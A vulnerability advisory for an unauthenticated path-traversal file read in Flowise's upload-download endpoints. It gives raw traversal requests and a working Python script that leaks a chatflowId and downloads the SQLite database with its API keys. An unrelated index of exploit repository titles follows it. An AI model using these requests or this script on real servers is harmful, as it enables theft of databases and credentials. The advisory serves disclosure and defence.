### Summary An arbitrary file read vulnerability in the `chatId` parameter supplied to both the `/api/v1/get-upload-file` and `/api/v1/openai-assistants-file/download` endpoints allows unauthenticated users to read unintended files on the local filesystem. In the default Flowise configuration this allows reading of the local sqlite db and subsequent compromise of all database content. ### Details Both the `/api/v1/get-upload-file` and `/api/v1/openai-assistants-file/download` endpoints accept the `chatId` parameter and pass this to a subsequent call to streamStorageFile(). ``` const chatflowId = req.query.chatflowId as string const chatId = req.query.chatId as string const fileName = req.query.fileName as string ... const fileStream = await streamStorageFile(chatflowId, chatId, fileName, orgId) ``` While streamStorageFile validates that the chatflowId is a UUID and strips traversal sequences from fileName, it performs no validation of chatId. ``` // Validate chatflowId if (!chatflowId || !isValidUUID(chatflowId)) { throw new Error('Invalid chatflowId format - must be a valid UUID') } // Check for path traversal attempts if (isPathTraversal(chatflowId)) { throw new Error('Invalid path characters detected in chatflowId') } ... const sanitizedFilename = sanitize(fileName) ... const filePath = path.join(getStoragePath(), orgId, chatflowId, chatId, sanitizedFilename) ``` There is validation that the resulting filePath is restricted to the `/root/.flowise/storage` directory. ``` if (!filePath.startsWith(getStoragePath())) throw new Error(`Invalid file path`) ``` However, if the file is not found in the specified path, the orgId value is removed from the filePath and reattempted. ``` if (fs.existsSync(filePath)) { return fs.createReadStream(filePath) } else { // Fallback: Check if file exists without orgId const fallbackPath = path.join(getStoragePath(), chatflowId, chatId, sanitizedFilename) if (fs.existsSync(fallbackPath)) { // Create directory if it doesn't exist const dir = path.dirname(filePath) if (!fs.existsSync(dir)) { fs.mkdirSync(dir, { recursive: true }) } // Copy file to correct location with orgId fs.copyFileSync(fallbackPath, filePath) // Delete the old file fs.unlinkSync(fallbackPath) // Clean up empty directories recursively _cleanEmptyLocalFolders(path.join(getStoragePath(), chatflowId, chatId)) return fs.createReadStream(filePath) ``` As this fallback path is read after the `/root/.flowise/storage` check, this allows an additional level of traversal up to `/root/.flowise/`. As a result, this allows reading of `/root/.flowise/database.sqlite`, which contains all database content in the default Flowise configuration. REQUEST ``` GET /api/v1/get-upload-file?chatflowId=188903b1-d06d-4f93-9415-400015b87146&chatId=../.././&fileName=database.sqlite HTTP/1.1 Host: 127.0.0.1:3000 ``` RESPONSE ``` HTTP/1.1 200 OK Vary: Origin Access-Control-Allow-Credentials: true Content-Disposition: attachment; filename="database.sqlite" Date: Tue, 22 Jul 2025 06:43:51 GMT Connection: keep-alive Keep-Alive: timeout=5 Content-Length: 385024 SQLite format 3���@ ���6���^���A������Õ�������������������������������������������������6�.r¢ö�Ú����ZûìñæàÚÛ �Ïl ÍS=*''���������������������������������������������������������������������������������������������������������������������������������������������;,O)�indexsqlite_autoindex_docume ... ``` Similarly, for `/api/v1/openai-assistants-file/download`: REQUEST ``` POST /api/v1/openai-assistants-file/download HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: application/json Content-Length: 100 {"chatflowId":"c5c63474-e757-4fca-a504-d54e84c309bb","chatId":"/../..","fileName":"database.sqlite"} ``` RESPONSE ``` HTTP/1.1 200 OK Vary: Origin Access-Control-Allow-Credentials: true Content-Disposition: attachment; filename="database.sqlite" Date: Tue, 22 Jul 2025 08:55:25 GMT Connection: keep-alive Keep-Alive: timeout=5 Content-Length: 385024 SQLite format 3���@ ���6���^���A������Õ�������������������������������������������������6�.r¢ö�Ú����ZûìñæàÚÛ ... ``` This includes all API keys used by the application (apiKey table), which can be used to gain administrative access. As the fallback logic attempts to move the file to the initially checked directory, this results in the server permanently being unable to make new read or write operations until the file is moved and the server is restarted. Interaction with these endpoints requires knowledge of a valid `chatflowId`. As a UUID, this is inherently unguessable. However, the `/api/v1/vector/upsert/` endpoint can be used without a chatflowId, defaulting to the first ID available. This endpoint returns a verbose error when receiving a malformed filename, revealing the full internal file path and the associated `chatflowId`. REQUEST ``` POST /api/v1/vector/upsert/ HTTP/1.1 Host: 127.0.0.1:3000 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW Content-Length: 172 Connection: keep-alive ------WebKitFormBoundary7MA4YWxkTrZu0gW Content-Disposition: form-data; name="files"; filename="?" Content-Type: text/plain ------WebKitFormBoundary7MA4YWxkTrZu0gW-- ``` RESPONSE ``` HTTP/1.1 500 Internal Server Error Vary: Origin Access-Control-Allow-Credentials: true Content-Type: application/json; charset=utf-8 Content-Length: 240 ETag: W/"f0-khSyqlT3NYLMJGjdchTl6Iwqe4U" Date: Tue, 22 Jul 2025 08:14:20 GMT Connection: keep-alive Keep-Alive: timeout=5 {"statusCode":500,"success":false,"message":"Error: vectorsService.upsertVector - EISDIR: illegal operation on a directory, open '/root/.flowise/storage/07b5d2bd-9b5c-4de3-b234-4fe4357051c9/188903b1-d06d-4f93-9415-400015b87146'","stack":{}} ``` In this case the UUID is revealed as `188903b1-d06d-4f93-9415-400015b87146`, which can then be used to exploit the file read vulnerability. ### PoC Run Flowise: ``` docker run --rm -p 3000:3000 flowiseai/flowise ``` Complete install & create a Chatflow: <img width="575" height="299" alt="image" src="https://github.com/user-attachments/assets/1a34e809-b9b3-48a1-93b4-8dafccf87e3b" /> Save this script to `read.py`: ``` import argparse import re import requests def read_file(url, file_path, proxy): base_url = url proxies = {'http': proxy, 'https': proxy} if proxy else None print(f">> starting exploit against {base_url}") if proxy: print(f">> using proxy: {proxy}") try: print("[*] step 1: leaking chatflowid") initial_headers = {} files = {'files': ('?', 'asdf', 'text/plain')} response = requests.post(f"{base_url}/api/v1/vector/upsert/", files=files, headers=initial_headers, timeout=10, proxies=proxies) chatflow_id_matches = re.findall(r'([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})', response.json().get("message", "")) if len(chatflow_id_matches) < 2: print("[-] failed to leak chatflowid.") return chatflow_id = chatflow_id_matches[1] print(f"[+] got chatflowid: {chatflow_id}") print(f"[*] step 2: reading file: {file_path}") internal_headers = {'x-request-from': 'internal'} params = {'chatflowId': chatflow_id, 'chatId': '/../../', 'fileName': file_path} response = requests.get(f"{base_url}/api/v1/get-upload-file", params=params, headers=internal_headers, timeout=10, proxies=proxies) if response.status_code != 200: print(f"[-] failed to read file (status: {response.status_code}).") print(response.text) return file_content = response.text print(f"[+] successfully read file ({len(response.content)} bytes).") print("\n--- file content ---") print(file_content) print("--------------------\n") except requests.exceptions.RequestException as e: print(f"\n[-] an unexpected error occurred: {e}") except Exception as e: print(f"\n[-] an unexpected error occurred: {e}") return if __name__ == "__main__": parser = argparse.ArgumentParser(description="Read arbitrary files") parser.add_argument("-u", "--url", type=str, required=True, help="target base url (e.g., http://127.0.0.1:3000)") parser.add_argument("-f", "--file", type=str, required=True, help="path of the file to read on the server (e.g., database.sqlite)") parser.add_argument("-x", "--proxy", type=str, help="proxy to use (e.g., http://127.0.0.1:8080)") args = parser.parse_args() read_file(args.url, args.file, args.proxy) ``` Run the script against `http://127.0.0.1:3000`: ``` python3 read.py -u http://127.0.0.1:3000 -f database.sqlite >> starting exploit against http://127.0.0.1:3000 [*] step 1: leaking chatflowid [+] got chatflowid: c5c63474-e757-4fca-a504-d54e84c309bb [*] step 2: reading file: database.sqlite [+] successfully read file (385024 bytes). --- file content --- ÕÇêS=*'';,O)indexsqlite_autoindex... ``` ### Impact This allows any unauthenticated user to extract all database content from a default installation of Flowise. This includes API keys, which can be used to gain administrative access.
PoC: CVE-2026-38192
pluck-CMS-4.7.20-code-injection-vulnerability
PoC: CVE-2026-62735
Windows HTTP.sys integer overflow -> nonpaged pool overflow LPE PoC (CVE-2026-62735): crash + full SYSTEM exploit; for authorized testing
PoC: CVE-2026-82329-JFrog-Artifactory-Auth-Bypass
CVE-2026-82329 — JFrog Artifactory (self-hosted) Auth Bypass
PoC: CVE-2026-65349
CVE-2026-65349 PoC — getattrlist OOB write in vfs_attr_pack_internal (iOS 26.6 / 23G71)
PoC: CVE-2026-65343
CVE-2026-65343 PoC — AppleKeyStore OOB read → KASLR defeat (iOS 26.6 / 23G71)
PoC: CVE-2026-65330
CVE-2026-65330 PoC — setxattr PAC bypass via fixed #0x307a diversifier (iOS 26.6 / 23G71)
PoC: CVE-2026-64788
CVE-2026-64788 PoC — IOGPUFamily Use-After-Free (iOS 26.6 / 23G71)
PoC: cve-2024-55591-poc
Educational implementation in Go for CVE-2024-55591 (Fortinet FortiOS Authentication Bypass). Designed for security research, vulnerability assessment, and understanding WebSocket-based auth bypass mechanisms.
PoC: cve-2026-82329-jfrog-artifactory
CVE-2026-82329 JFrog Artifactory unauthenticated auth-bypass: reproducible Docker lab + URL-parameter validator PoC + patch-diff analysis
PoC: CVE-2026-82592
D-Link DIR-825M formDiskFormat stack overflow + command injection RCE PoC (CVE-2026-82592); for authorized security testing
PoC: My-Exploits
Metasploit modules, Python PoCs and throwaway Docker labs for four platform CVEs: Keycloak (CVE-2026-18963), Apache NiFi (CVE-2026-39816), HashiCorp Vault (CVE-2026-5006), HashiCorp Nomad (CVE-2026-7474).
PoC: CVE-2025-66478-PoC-Reverse-Shell
CVE-2025-66478 PoC
PoC: cve-writeups-and-pocs
CVE-2026-80724 PoC + full write-up — Linux kernel ptp/vmclock read-only mapping becomes writable (VM_MAYWRITE). Discovered, reported & fixed by Abdifatah Suruur (suruurism)
PoC: CVE-2026-80428
CVE-2026-80428 PoC
PoC: gha-lab-b1fe4918c0
Authorized security-research lab: reproduction of CVE-2025-32958 (GHSA-8c7v-vccv-cx4q) — GITHUB_TOKEN leaked into workflow artifacts by Adept's remoteBuild.yml (snapshot of AdeptLanguage/Adept @ 6a64554)
PoC: CVE-2026-83548-SonicWall-SMA1000-Analysis
Vulnerability Analysis of CVE-2026-83548 affecting SonicWall SMA1000 security systems.
PoC: CVE-2024-21546
This repository contains security assessment tooling, detection templates, and an automated exploit toolkit for identifying and exploiting Unauthenticated Remote Code Execution (RCE) in applications utilizing the `UniSharp/laravel-filemanager` package (Versions `< 2.9.1`).
PoC: CVE-2026-78071
Stored XSS via Location Title in DPCalendar Free
PoC: CVE-2026-78070
SQL Injection via ORDER BY Shortcode in plg_content_dpcalendar — DPCalendar Free ≤ 10.11.2
PoC: CVE-2026-19949
CVE-2026-19949 - Draft or TODO
PoC: CVE-2026-59822
CVE-2026-59822 - Draft or TODO
PoC: struts2-tool
Struts2 S2-045/S2-046 CVE-2017-5638 detection & exploitation tool
PoC: gha-lab-becf103a54
Authorized security-research reproduction of CVE-2025-15617 (GHSA-6xqr-4q5g-xc7x): artipacked GITHUB_TOKEN leak in wazuh FIM Windows integration workflow artifacts
PoC: CVE-2025-9974
Proof of Concept code for the CVE-2025-9974 affecting Nokia Beacon routers.
PoC: tfo-connect-bypass
Bypassing connect()-based syscall rules using TCP Fast Open (CVE-2026-63828 PoC)
PoC: CVE-2026-38577-by-deepak-Anmol
CVE-2026-38577
PoC: gha-lab-23db52563c
Security-research lab: reproduction of CVE-2025-10894 (PR-title injection in GitHub Actions) — snapshot of nrwl/nx
PoC: CVE-2026-9335-keras-hdf5-externallink
CVE-2026-9335: KerasFileEditor and load_weights follow h5py ExternalLinks, disclosing arbitrary local HDF5 file contents in keras ≤ 3.14.0. Advisory + verified PoCs.
PoC: vsFTPd-2.3.4-Exploit
Python exploit for the vsFTPd 2.3.4 backdoor (CVE-2011-2523).
PoC: CVE-2026-73296
CVE-2026-73296
PoC: CVE-2026-19490
NetScaler ADC/Gateway SAML unsigned-assertion bypass via HTTP-Redirect binding (CTX696939) - root cause analysis + PoC
PoC: dast
CVE-2026-0828
PoC: SmarterMail-CVE-2026-24423-
Exploit for CVE-2026-24423 — a critical unauthenticated RCE in SmarterMail's ConnectToHub API. Affects all builds prior to 9511.
PoC: gha-lab-d9fd584b12
Authorized security-research lab reproducing CVE-2024-47179 (GHSL-2024-178): artifact-poisoning pwn-request chain in RSSHub docker-test workflows (snapshot at 574d053)
PoC: LAB1-metasploitable
Exploitation des vulnérabilités sur la version vsftpd 2.3.4 du service ftp (CVE-2011-2523)
PoC: CVE-2022-25765
CVE-2022-25765 | pdfkit v0.8.6 Python PoC
PoC: CVE-2026-7899
CVE-2026-7899 - Draft or TODO
PoC: gha-lab-6ab39df295
Controlled security-research lab reproducing CVE-2024-45798 (GHSA-h52q-xhg2-6jw8) in espressif/arduino-esp32 — poisoned-artifact pwn request via tests_results.yml workflow_run
PoC: CVE-2026-9586
CVE-2026-9586 - Draft or TODO
PoC: artifactory-CVE-2026-82329-poc.py
CVE-2026-82329 — JFrog Artifactory unauthenticated authentication bypass ("phantom join key" -> forged service admin token)
PoC: gha-lab-40e23db109
Security-research lab: controlled reproduction of CVE-2024-4254 (GHSA-fc78-c36r-cc59) — deploy-website.yml fork checkout/code execution in gradio-app/gradio @ d4c503a
PoC: root-s24-e1s
Galaxy S24 SM-S921B S921BXXSDCZB2 RAM-only KernelSU Next (CVE-2026-43499) + Root S24 app
PoC: CVE-2024-49138-SOC-Investigation
SOC investigation of CVE-2024-49138 exploitation involving brute-force activity, PowerShell execution, malicious payload analysis, privilege escalation, and incident response.
PoC: gha-lab-ee08e207a8
Authorized security-research lab reproducing CVE-2024-4253 (GHSA-r897-wrpm-h4vw): workflow_run command injection in gradio-app/gradio's test-functional.yml
PoC: CVE-2026-24061-Telnetd
CVE-2026-24061 GNU Inetutils Telnetd Authentication Bypass
PoC: Fortigate-SSL-VPN-Exploit-Kit
The FortiGate SSL-VPN pot of gold. CVE-2024-21762 and CVE-2023-27997. 79 working exploit clients. 53 hardware SKUs. 55 FortiOS builds.
PoC: CVE-2026-33017
CVE-2025-62593 — Ray Unauthenticated RCE Exploit is an unauthenticated remote code execution vulnerability in the Ray distributed AI compute engine.
PoC: CVE-2026-13753-poc
Poc of CVE-2026-13753
PoC: CVE-2026-82221
PoC for Unauthenticated Reflected Cross-Site Scripting (XSS) in RegistrationMagic WordPress Plugin
PoC: ActiveMQ-CVE-2023-46604
Exploit POC for Apache ActiveMQ CVE-2023-46604
PoC: gha-lab-0ba60e6456
Authorized security-research lab reproducing CVE-2024-39700 / GHSA-45gq-v5wm-82wg (JupyterLab extension-template update-integration-tests pwn request)
PoC: CVE-2026-36130
CVE-2026-36130
PoC: CVE-2026-31321
CVE-2026-31321
PoC: postgresql-cve-2026-14662
PostgreSQL の全文検索(tsvector/tsquery)に見つかった範囲外書き込み脆弱性 CVE-2026-14662 を、修正前(18.4)と修正後(18.6)を Docker で並べて動かして検証した記録と発表資料
PoC: CVE-2026-27472-and-CVE-2026-27474
PoC for CVE-2026-27472 and CVE-2026-27474
PoC: CVE-2026-27475
PoC for CVE-2026-27475
PoC: CVE-2026-18963
Unauthenticated account takeover via reset-credentials flow bypass
PoC: CVE-2026-0768
CVE-2026-0768 - Draft or TODO
PoC: CVE-2026-82329
CVE-2026-82329 - Draft or TODO
PoC: tomcat-line-check
CVE-2026-24880: does Apache's upgrade advice actually apply to your Tomcat? Detects the fix by class presence, not version comparison. Covers 7.0/8.0/8.5/9.0/10.0/10.1/11.0 lines.
PoC: tomcat85-check
CVE-2025-55752 CVE-2025-55754 CVE-2025-48988 CVE-2025-52520 CVE-2025-53506 CVE-2025-61795 CVE-2025-66614:Tomcat 8.5 已 EOL,终版 8.5.100。Apache 逐条声明「8.5 也受影响」的 2025 CVE 有 14 条,其中 10 条在 NVD 按 8.5.100 查不到。离线单 jar,读 conf/ 判断你到底中了哪几条。
PoC: log4j2-vuln-lab
CVE-2021-44228 (Log4Shell) 漏洞复现靶场 | SpringBoot + Log4j2 2.14.1 | 3 个攻击向量 PoC 验证
PoC: CVE-2021-3493-Exploit
It's a CVE-2021-3493 Exploit written in C
PoC: gha-lab-8e9316151c
Controlled security-research lab reproducing CVE-2024-1540 (GitHub Actions command injection in gradio-app/gradio deploy+test-visual.yml) — flattened snapshot of gradio-app/gradio @ f35f615e33a5dd90bfeb106b6f5dca689849fcef
PoC: gha-lab-6255f5fc33
Security-research lab reproducing CVE-2023-6572 (GHSA-gqvf-3hgp-5hxv): command injection in gradio-app/gradio's workflow_run handling of generate-changeset.yml
PoC: nextcloud-cve-2023-49792-research
A project analysis of CVE-2023-49792, inspired by a HackerOne report I have recently come across.
PoC: CVE-2026-30252
The ZenShare Suite application is vulnerable by a Reflected Cross-Site Scripting (XSS) vulnerability, affecting web application login and recovery password functionalities.
PoC: CVE-2026-30251
A reflected cross-site scripting (XSS) vulnerability in the login_newpwd.php endpoint of Interzen Consulting S.r.l ZenShare Suite v17.0 allows attackers to execute arbitrary Javascript in the context of the user's browser via a crafted URL injected into the codice_azienda parameter.
PoC: gha-lab-fb32aba4a3
Authorized lab reproduction of CVE-2023-26493 (GHSL-2023-027): command injection via github.head_ref in cocos-engine's <Web> Interface check pull_request_target workflow
PoC: CVE-2018-14667_Lab_POC
Demonstration of the expression language (EL) injection vulnerability CVE-2018-14667 using the photoalbum lab under Jboss application server
PoC: weakrng-sweep
Weak-RNG stream-sweep research (CVE-2026-71851 class): PRNG schemes x seeds -> BIP39 -> victim set membership
PoC: cve-2022-29117-assessment
CVE-2022-29117 (.NET Cookie-Handling DoS) Assessment, Understanding & Questions Framework
PoC: POC-CVE-2026-0073
Security research PoC for CVE-2026-0073: ADB authentication bypass verification
PoC: gha-lab-232af4821f
Security-research lab reproducing CVE-2021-4281 (GHSA-3796-3f93-cfvx): shell command injection via PR head-branch name in .github/workflows/combine-prs.yml (snapshot of BraveUX/for-the-badge @ 409c1fda). Do not use; authorized reproduction only.
PoC: CVE-2026-82222
GiveWP <= 4.16.7.1 Unauthenticated PHP Object Injection → RCE
PoC: CVE-2026-76569
Reflected XSS via search GET Parameter in Phoca Download
PoC: activemq-cve-lab
ActiveMQ CVE-2015-5254 模拟靶场 - 用于 CVE 测试评测和 SCA 扫描演示
PoC: ghostlock-x200-app
vivo X200 设备端一键 root App（Shizuku 授权 shell 域执行，CVE-2026-43499）
PoC: gha-lab-b9842b12c0
Authorized security-research lab reproducing CVE-2021-21423 (GHSA-gg2g-m5wc-vccq): projen rebuild-bot pwn request via issue_comment
PoC: gha-lab-e4a85583c3
Security-research lab reproducing CVE-2020-36762 (GHSA-h9gr-83jq-f3xc): bash command injection via github.event.comment.body in the comment workflow of ONSdigital/ras-collection-instrument
PoC: Root-My-Galaxy
KSU installer for supported Samsung Galaxy firmware with CVE-2026-43499
PoC: CVE-2026-78905-Facebook-Account-Takeover
Social Media Infrastructure Vulnerability Research. CVE-2026-78905: OAuth token reuse and session hijacking in Facebook's Graph API.
PoC: CVE-2026-78904-Digital-Dinar-Drain
CBDC Infrastructure Vulnerability Research. CVE-2026-78904: Infinite mint and redemption bypass in central bank digital currency APIs.
PoC: CVE-2026-78903-SWIFT-Kick-to-the-Creds
Offensive Research & Exploit Development. Vulnerability research, PoC development, and offensive tooling for financial infrastructure.
PoC: CVE-2026-60004-Gitea-RCE-PoC
🫖 Direct single-target Gitea CVE-2026-60004 RCE validation PoC
PoC: CVE-2026-60004-Gitea-Validator
🫖 Contract-correlated discovery and authorized validation tool for Gitea CVE-2026-60004
PoC: cve-2026-67363-67364
Balboa form Command Injection POC
PoC: Simulation-d-attaque-BlueBorne-sur-v-hicule-connect-
Simulation complète d'une attaque Bluetooth (CVE-2017-1000251) sur un véhicule autonome via CARLA Simulator ; exploitation de la vulnérabilité BlueBorne pour accéder au bus CAN et déclencher un freinage brutal, en environnement isolé (Kali Linux VM / VMware / Python).
PoC: CVE-2026-76581-Detector
Safe passive detector for identifying WPMU DEV Dashboard versions affected by CVE-2026-76581.
PoC: htb-machine-ringdown
Detailed design & exploitation writeup for Ringdown—an original Debian/Asterisk vulnerable machine featuring CVE-2024-42365 (AMI), PJSIP pre-hash cracking, and Fail2ban POSIX ACL privilege escalation.
PoC: gha-lab-83342297e0
Authorized security-research lab reproducing CVE-2024-41127 (GHSA-wcjf-5464-4wq9): poisoned pipeline execution via artifact-controlled code injection in ci-failure-comment.yml. Snapshot of monkeytypegame/monkeytype @ deeea0f.
PoC: WP2Shell-Scanner
Read-only CLI to check whether a WordPress site is exposed to WP2Shell (CVE-2026-63030 / CVE-2026-60137)
PoC: phpBB-CVE-2026-48611
Automated PoC for CVE-2026-48611 — phpBB OAuth login_link authentication bypass
PoC: Project-CVE-2026-45833
CVE-2026-45833 ChromaDB
PoC: CitrixBleedCVE-2026-8452-2025-5777
CitrixBleed Exploit Tool - CVE-2025-5777 & CVE-2026-8452. Unauthenticated remote memory read from Citrix NetScaler ADC & Gateway. Steal admin session tokens, extract nsroot hashes, dump secrets, and bypass MFA. Python 3 exploit with full memory parsing.
PoC: CVE-2026-76581
CVE-2026-76581
PoC: drupalgeddon2-cve-lab
Drupalgeddon2 CVE-2018-7600 vulnerable Drupal 7 lab
PoC: shellshock-cve-lab
Shellshock CVE-2014-6271 vulnerable CGI lab
PoC: log4shell-cve-lab
Log4Shell CVE-2021-44228 vulnerable lab
PoC: CVE-2026-18741
PoC CVE-2026-18741
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
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